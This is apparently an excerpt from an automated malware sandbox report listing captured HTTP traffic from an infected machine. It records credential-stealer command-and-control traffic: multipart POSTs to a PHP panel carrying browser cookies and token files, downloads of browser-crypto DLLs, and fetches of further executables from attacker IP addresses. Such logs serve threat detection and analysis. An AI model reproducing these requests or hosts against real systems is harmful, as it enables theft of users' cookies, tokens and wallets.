Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="message"fplugins------DBGHJEBKJEGHJKECAAKJ--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJDGHCBGDHIECBGIDAEHost: 85.28.47.31Content-Length: 7211Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDHCAAKECFIDHIEBAKFHost: 85.28.47.31Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 46 2d 2d 0d 0a Data Ascii: ------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FHDHCAAKECFIDHIEBAKFContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIIIHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 2d 2d 0d 0a Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file"------HDAKFCGIJKJKFHIDHIII--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIJJJKKJJDAKEBFIJDHHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 2d 2d 0d 0a Data Ascii: ------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="file"------FHIJJJKKJJDAKEBFIJDH--
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAFHIIJJECGDHIEGDAKHost: 85.28.47.31Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJDHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="message"wallets------HIIIECAAKECFHIECBKJD--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGDHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 2d 2d 0d 0a Data Ascii: ------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="message"ybncbhylepme------BAKFBKEHDBGHJJKFIEGD--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBGDHIIDAEBFHJJDBFIHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 2d 2d 0d 0a Data Ascii: ------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="file"------JDBGDHIIDAEBFHJJDBFI--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHIHost: 85.28.47.31Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 2d 2d 0d 0a Data Ascii: ------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------KJECFHCBKKEBAKFIJDHIContent-Disposition: form-data; name="message"files------KJECFHCBKKEBAKFIJDHI--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIEHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 33 36 34 66 31 65 64 66 63 31 33 62 36 33 62 38 34 32 65 63 38 39 33 34 36 37 64 38 36 63 35 31 64 33 34 38 38 32 34 39 32 34 62 30 33 39 66 61 31 64 35 62 39 32 65 36 61 61 64 63 61 34 39 63 32 31 37 64 37 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="token"c4364f1edfc13b63b842ec893467d86c51d348824924b039fa1d5b92e6aadca49c217d7b------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJECAAEHCFIEBGCBGHIE--
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000016001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEBHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 32 35 45 38 39 44 38 30 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 2d 2d 0d 0a Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="hwid"B125E89D806E2371543510------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="build"sila------GIIJEBAECGCBKECAAAEB--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
